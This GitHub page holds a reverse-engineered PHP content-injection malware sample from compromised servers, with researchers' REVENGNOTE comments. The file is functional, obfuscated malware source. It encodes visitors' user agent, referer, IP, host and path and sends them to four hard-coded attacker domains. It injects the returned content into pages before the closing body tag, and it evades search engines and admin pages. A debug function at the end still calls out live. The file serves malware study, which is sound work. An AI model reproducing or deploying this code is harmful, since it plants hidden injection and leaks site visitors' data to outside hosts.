Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
335 lines (298 sloc) 9.16 KB
<?php
/**
* This is a This is a reverse-engineering of malicious code found in
* compromised servers. "REVENGNOTE" is used for comments that are not
* in the original code.
*
* @see https://github.com/alligo/Reverse-Engineering-PHP-Malware-Content-injection
* @author Bernardo Donadio <emerson at alligo.com.br>
* @author Emerson Rocha Luiz <emerson at alligo.com.br>
* @copyright Copyright (C) 2016 Alligo Ltda. Some rights reserved.
* @license See LICENSE
*/
/** REVENGNOTE: next code was added to make this file work. Was present on last step **/
function en2($s, $q)
{
$l = "\x73\164\x72\154\x65\156";
$p = "\x70\141\x63\153";
$r = "\x73\165\x62\163\x74\162";
$m = "\x6d\144\x35";
$g = "";
while ($l($g) < $l($s)) {
$q = $p("H*", $m($g . $q . "\x71\61\x77\62\x65\63\x72\64"));
$g.= $r($q, 0, 8);
}
return $s ^ $g;
}
/** REVENGNOTE: next code was added to make this file work. Was present on last step **/
function cqq($qw)
{
$domarr = array(
"33db9538",
"9507c4e8",
"e5b57288",
"54dfa1cb"
);
return random($domarr, $qw);
}
/** REVENGNOTE: next code was added to make this file work. Was present on last step **/
function random($arr, $qw)
{
$g = "\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70" . "6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";
$soy = "\x65\156\x32";
$xx = "\x65\170\x70" . "\154\x6f\144\x65";
$ecx = "\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";
$scy = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";
$a = $xx("|", "\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
$aa = $xx("|", "8|9|-|,| ");
$mec = $ecx;
for ($i = 0; $i < sizeof($a); $i++) {
$g = $scy($aa[$i], $a[$i], $g);
}
$ecx("", "};$g//");
$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy));
return $arr[rand((0.24 - (0.03 * 8)) , (0.1875 * 6)) ] . $qw;
}
function g_1($url)
{
if (function_exists("file_get_contents") === false) return false;
$buf = @file_get_contents($url);
if ($buf == "") return false;
return $buf;
}
function g_2($url)
{
if (function_exists("curl_init") === false) return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
$res = curl_exec($ch);
curl_close($ch);
if ($res == "") return false;
return $res;
}
function g_3($url)
{
if (function_exists("file") === false) return false;
$inc = @file($url);
$buf = @implode("", $inc);
if ($buf == "") return false;
return $buf;
}
function g_4($url)
{
if (function_exists("socket_create") === false) return false;
$p = @parse_url($url);
$host = $p["host"];
if (!isset($p["query"])) $p["query"] = "";
$uri = $p["path"] . "?" . $p["query"];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2) return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$req = "GET $uri HTTP/1.0\n";
$req.= "Host: $host\n\n";
socket_write($sock, $req);
$buf = "";
while ($t = socket_read($sock, 10000)) {
$buf.= $t;
}
@socket_close($sock);
if ($buf == "") return false;
list($m, $buf) = explode("\r\n\r\n", $buf);
return $buf;
}
function gtd($url)
{
$co = "";
$co = @g_1($url);
if ($co !== false) return $co;
$co = @g_2($url);
if ($co !== false) return $co;
$co = @g_3($url);
if ($co !== false) return $co;
$co = @g_4($url);
if ($co !== false) return $co;
return "";
}
// ARRAY 0, END
// ARRAY 1, START
if (!function_exists("comgzi")) {
function comgzi($gzData)
{
if (substr($gzData, 0, 3) == "\x1f\x8b\x08") {
$i = 10;
$flg = ord(substr($gzData, 3, 1));
if ($flg > 0) {
if ($flg & 4) {
list($xlen) = unpack("v", substr($gzData, $i, 2));
$i = $i + 2 + $xlen;
}
if ($flg & 8) $i = strpos($gzData, "\0", $i) + 1;
if ($flg & 16) $i = strpos($gzData, "\0", $i) + 1;
if ($flg & 2) $i = $i + 2;
}
return @gzinflate(substr($gzData, $i, -8));
}
else {
return false;
}
}
}
// ARRAY 1, END
// ARRAY 2, START
function k34($op, $text)
{
return base64_encode(en2($text, $op));
}
function check212($param)
{
if (!isset($_SERVER[$param])) $a = "non";
else
if ($_SERVER[$param] == "") $a = "non";
else $a = $_SERVER[$param];
return $a;
}
/** REVENGNOTE: Do not assume that this malware will have same function names.
* even for the same malware.
*/
function day212()
{
$a = check212("HTTP_USER_AGENT");
$b = check212("HTTP_REFERER");
$c = check212("REMOTE_ADDR");
$d = check212("HTTP_HOST");
$e = check212("PHP_SELF");
/** REVENGNOTE: this next array does nothing here. But was on original code.
* 33db9538.com, 9507c4e8.com, e5b57288.com and 54dfa1cb.com
* are domains that point (now) for the same working server
* they are used to create content to inject on user code
*
*/
$domarr = array(
"33db9538",
"9507c4e8",
"e5b57288",
"54dfa1cb"
);
/** REVENGNOTE: this is very important. It does NOT inject content on site
* if is a search engine (that could alert site admin of this
* malware, and also does not load on pages that are like
* for administratior interfaces. It also check for a valid
* HTTP_REFERER, so sometimes, share a link with a friend will
* not work at all, because you need navitate on the site before
* Is very likely that most common antivirus agents will maybe
* pass this basic check, but remote server will know they
* user agent and will return empty content.
*/
if (($a == "non") or ($c == "non") or ($d == "non") or strrpos(strtolower($e) , "admin") or (preg_match("/" . implode("|", array(
"google",
"slurp",
"msnbot",
"ia_archiver",
"yandex",
"rambler"
)) . "/i", strtolower($a)))) {
$o1 = "";
}
else {
$op = mt_rand(100000, 999999);
$g4 = $op . "?" . urlencode(urlencode(k34($op, $a) . "." . k34($op, $b) . "." . k34($op, $c) . "." . k34($op, $d) . "." . k34($op, $e)));
$url = "http://" . cqq(".com") . "/" . $g4;
$ca1 = en2(@gtd($url) , $op);
$a1 = @explode("!NF0", $ca1);
if (sizeof($a1) >= 2) $o1 = $a1[1];
else $o1 = "";
}
return $o1;
}
// ARRAY 2, END
// ARRAY 3, START
if (!function_exists("dcoo")) {
function dcoo($cz, $length = null)
{
if (false !== ($dz = @gzinflate($cz))) return $dz;
if (false !== ($dz = @comgzi($cz))) return $dz;
if (false !== ($dz = @gzuncompress($cz))) return $dz;
if (function_exists("gzdecode")) {
$dz = @gzdecode($cz);
if (false !== $dz) return $dz;
}
return $cz;
}
}
// ARRAY 3, END
// ARRAY 4, START
if (!function_exists("pa22")) {
function pa22($v)
{
Header("Content-Encoding: none");
$p = "\x70\162\x65\147\x5f";
$p1 = $p . "\155\x61\164\x63\150";
$p2 = $p . "\162\x65\160\x6c\141\x63\145";
$t = dcoo($v);
if ($p1("/\<\/body/si", $t)) {
return $p2("/(\<\/body[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
}
else {
if ($p1("/\<\/html/si", $t)) {
return $p2("/(\<\/html[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
}
else {
return $t;
}
}
}
}
/** REVENGNOTE: next lines was commented to disable run the source. Original have it enabled **/
//ob_start("pa22");
/** REVENGNOTE: next code was not on this step, is a modified version of original day212()
* function. If you wanna debut this malware, here is your start point
**/
function day212_fiti()
{
// $a = check212("HTTP_USER_AGENT");
$a = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko';
// $b = check212("HTTP_REFERER");
$b = 'http://www.electrictoolbox.com/';
// $c = check212("REMOTE_ADDR");
$c = '198.133.12.17';
// $d = check212("HTTP_HOST");
$d = 'xpto.com.br';
// $e = check212("PHP_SELF");
$e = '/index.php';
/** REVENGNOTE: this next array does nothing here. But was on original code.
* 33db9538.com, 9507c4e8.com, e5b57288.com and 54dfa1cb.com
* are domains that point (now) for the same working server
* they are used to create content to inject on user code
*
*/
$domarr = array(
"33db9538",
"9507c4e8",
"e5b57288",
"54dfa1cb"
);
/** REVENGNOTE: check original day212() function. This remove logic of
* check if should or not request remote server for contents
* just for debug
**/
$op = mt_rand(100000, 999999);
$g4 = $op . "?" . urlencode(urlencode(k34($op, $a) . "." . k34($op, $b) . "." . k34($op, $c) . "." . k34($op, $d) . "." . k34($op, $e)));
$url = "http://" . cqq(".com") . "/" . $g4;
echo PHP_EOL . '$url: ' . $url . ' ';
$ca1 = en2(@gtd($url) , $op);
$a1 = @explode("!NF0", $ca1);
if (sizeof($a1) >= 2) $o1 = $a1[1];
else $o1 = "";
return $o1;
}
/** REVENGNOTE: next lines was commented to disable run the source. Original have it enabled **/
var_dump(day212_fiti());
echo PHP_EOL;